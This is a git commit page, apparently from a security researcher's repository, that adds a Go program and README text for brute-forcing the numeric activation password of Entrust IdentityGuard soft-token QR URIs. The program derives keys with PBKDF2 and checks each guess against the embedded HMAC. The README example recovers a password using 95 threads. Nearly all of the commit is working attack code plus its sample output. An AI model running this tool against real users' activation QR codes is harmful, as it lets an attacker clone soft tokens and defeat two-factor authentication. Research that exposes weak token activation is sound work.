summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorStephen Shkardoon <stephen@zxsecurity.co.nz>2019-10-08 12:57:15 +0200
committerStephen Shkardoon <stephen@zxsecurity.co.nz>2019-10-08 12:57:15 +0200
commit1b536410a8cdea2f887480c96149ac181a5c4159 (patch)
treecb77e47f3393930bc2c4ce9a0c579d85f56a91f6
parentAdd debug calculated HMAC output from decode-qr-uri.py (diff)
downloadentrust-identityguard-tools-1b536410a8cdea2f887480c96149ac181a5c4159.tar
entrust-identityguard-tools-1b536410a8cdea2f887480c96149ac181a5c4159.tar.gz
entrust-identityguard-tools-1b536410a8cdea2f887480c96149ac181a5c4159.tar.bz2
entrust-identityguard-tools-1b536410a8cdea2f887480c96149ac181a5c4159.tar.lz
entrust-identityguard-tools-1b536410a8cdea2f887480c96149ac181a5c4159.tar.xz
entrust-identityguard-tools-1b536410a8cdea2f887480c96149ac181a5c4159.tar.zst
entrust-identityguard-tools-1b536410a8cdea2f887480c96149ac181a5c4159.zip
-rw-r--r--README.md16
-rw-r--r--crack-qr-uri.go115
2 files changed, 131 insertions, 0 deletions
diff --git a/README.md b/README.md
index 3bbdd0e..30084ac 100644
--- a/README.md
+++ b/README.md
@@ -67,3 +67,19 @@ real 0m1.212s
user 0m1.209s
sys 0m0.003s
```
+
+# crack-qr-uri.go
+The QR code normally comes with a relatively weak password, along with a MAC that can verify the password. This allows us to perform a bruteforce of all possible passwords in a relatively short period, even with a CPU implementation. Simply run the script with the QR code URI as a parameter and it will discover the password.
+
+Performance on with a single modern CPU core results in 0.720 seconds (approximately, of course) to perform 1000 password attempts. The keyspace exists from 0 to 99999999.
+
+Example (AWS EC2 c5.metal instance - 96 cores):
+```
+$ time go run crack-qr-uri.go -uri 'igmobileotp://?action=secactivate&enc=VRUq6IoLWQRCMRITZEHtHUSWJiPwgu%2FN1BFyUHE5kxuHIEYoE3zmNTrAHeeUM5S3gzCnTy%2F%2Bdnbu%2FsjjQW%2BNEISx8C4ra8rLpxOl8E8w4KXHgjeBRgdvSzl%2BbzX5RYRrQlWgK8hsBT4pQYE0eFgW2TmRbzXu1Mu7XjKDcwsJLew32jQC2qyPLP8hljnv2rHwwsMfhQwgJUJYfctwLWWEDUFukEckaZ4O&v=1&mac=mhVL8BWKaishMa5%2B' -threads 95
+action=secactivate&enc=VRUq6IoLWQRCMRITZEHtHUSWJiPwgu%2FN1BFyUHE5kxuHIEYoE3zmNTrAHeeUM5S3gzCnTy%2F%2Bdnbu%2FsjjQW%2BNEISx8C4ra8rLpxOl8E8w4KXHgjeBRgdvSzl%2BbzX5RYRrQlWgK8hsBT4pQYE0eFgW2TmRbzXu1Mu7XjKDcwsJLew32jQC2qyPLP8hljnv2rHwwsMfhQwgJUJYfctwLWWEDUFukEckaZ4O&v=1
+Candidate password found: 54998317
+
+real 67m23.690s
+user 3047m42.788s
+sys 870m1.228s
+```
diff --git a/crack-qr-uri.go b/crack-qr-uri.go
new file mode 100644
index 0000000..f222ecf
--- /dev/null
+++ b/crack-qr-uri.go
@@ -0,0 +1,115 @@
+package main
+
+import (
+ "crypto/hmac"
+ "crypto/sha256"
+ "encoding/base64"
+ "flag"
+ "fmt"
+ "golang.org/x/crypto/pbkdf2"
+ "net/url"
+ "os"
+ "reflect"
+ "strconv"
+ "strings"
+)
+
+func main() {
+ var uri = flag.String("uri", "", "Example: igmobileotp://?action=secactivate&enc=VRUq6IoLWQRCMRITZEHtHUSWJiPwgu%2FN1BFyUHE5kxuHIEYoE3zmNTrAHeeUM5S3gzCnTy%2F%2Bdnbu%2FsjjQW%2BNEISx8C4ra8rLpxOl8E8w4KXHgjeBRgdvSzl%2BbzX5RYRrQlWgK8hsBT4pQYE0eFgW2TmRbzXu1Mu7XjKDcwsJLew32jQC2qyPLP8hljnv2rHwwsMfhQwgJUJYfctwLWWEDUFukEckaZ4O&v=1&mac=mhVL8BWKaishMa5%2B")
+ var threadsPtr = flag.Int("threads", 4, "Number of threads to use. Set to ncores, or ncores - 1. Load is 100% CPU")
+
+ flag.Parse()
+
+ threads := *threadsPtr
+
+ if *uri == "" {
+ panic("Specify a URI")
+ }
+
+ obj, err := url.Parse(*uri)
+ if err != nil {
+ panic(err)
+ }
+
+ if obj.Scheme != "igmobileotp" {
+ fmt.Println("Only the scheme igmobileotp is currently supported")
+ }
+
+ // Parse the query string component
+ q := obj.Query()
+
+ if (len(q["action"]) != 1) || (q["action"][0] != "secactivate") {
+ fmt.Println("Only the secactivate action is currently supported")
+ }
+
+ // Validate the encrypted data really exists
+ if len(q["enc"]) != 1 {
+ panic("No enc provided")
+ }
+
+ // Validate we have a MAC that we can verify decryption with
+ if len(q["mac"]) != 1 {
+ panic("No mac provided")
+ }
+ mac, err := base64.StdEncoding.DecodeString(q["mac"][0])
+ if err != nil {
+ panic(err)
+ }
+
+ // Decode the enc paramater
+ enc, err := base64.StdEncoding.DecodeString(q["enc"][0])
+ if err != nil {
+ panic(err)
+ }
+
+ // Extract out the payload that is used for HMAC validation
+ from := strings.Index(*uri, "?") + 1 // 1 more, because the ?
+ to := strings.LastIndex(*uri, "&")
+ hmacPayload := (*uri)[from:to]
+
+ fmt.Println(hmacPayload)
+
+ // Farm the work out to threads
+ passwords := make(chan []byte)
+ doner := make(chan bool, threads)
+
+ for i := 0; i < threads; i++ {
+ go checkPassword(enc[0:8], []byte(hmacPayload), mac, passwords, doner)
+ }
+
+ //for i := 54998317; i < 54998318; i++ {
+ for i := 0; i < 99999999; i++ {
+ passwords <- []byte(strconv.Itoa(i))
+ }
+
+ close(passwords)
+
+ for i := 0; i < threads; i++ {
+ <-doner
+ }
+
+ fmt.Println("Password was not found. Is your URI corrupted?")
+ os.Exit(1)
+
+}
+
+func checkPassword(salt []byte, macedPayload []byte, macValue []byte, passwords <-chan []byte, doner chan<- bool) {
+ for password := range passwords {
+ dk := pbkdf2.Key(password, salt, 1000, 64, sha256.New)
+
+ // Validate whether the key is correct with a HMAC verification
+ hmacKey := dk[16:48]
+
+ macer := hmac.New(sha256.New, hmacKey)
+ macer.Write(macedPayload)
+ calculatedMac := macer.Sum(nil)
+
+ if reflect.DeepEqual(calculatedMac[0:12], macValue) {
+ // Success!
+ fmt.Println("Password found: ", string(password))
+ os.Exit(0)
+ }
+ }
+
+ doner <- true
+}